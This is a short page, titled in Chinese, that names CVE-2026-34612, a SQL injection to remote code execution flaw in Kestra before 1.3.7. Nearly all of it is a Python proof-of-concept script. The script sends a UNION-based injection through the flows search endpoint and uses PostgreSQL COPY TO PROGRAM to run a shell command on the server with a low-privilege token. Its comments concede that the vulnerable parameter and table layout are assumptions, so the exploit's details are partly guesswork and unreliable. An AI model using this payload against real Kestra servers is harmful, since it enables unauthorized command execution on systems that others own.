CVE-2026-34612 Kestra SQL注入致远程代码执行漏洞

import requests # CVE-2026-34612 PoC: Kestra SQL Injection to RCE # Target: Kestra < 1.3.7 # Endpoint: GET /api/v1/main/flows/search target_url = "http://vulnerable-host:8080/api/v1/main/flows/search" # Replace with a valid authentication token (low privilege is enough) auth_token = "Bearer YOUR_JWT_TOKEN_HERE" # Payload to execute 'touch /tmp/pwned' using PostgreSQL COPY TO PROGRAM # Note: This depends on the table structure, UNION injection is used here as an example payload = "' UNION SELECT 1,2,3,4,5,6,7; COPY (SELECT '') TO PROGRAM 'touch /tmp/pwned'--" headers = { "Authorization": auth_token } params = { "q": payload # Assuming 'q' is the vulnerable parameter based on search endpoint context } try: print(f"Sending payload to {target_url}...") response = requests.get(target_url, headers=headers, params=params, timeout=10) if response.status_code == 200: print("Request sent successfully. Check if command executed on host.") else: print(f"Request failed with status code: {response.status_code}") except Exception as e: print(f"An error occurred: {e}")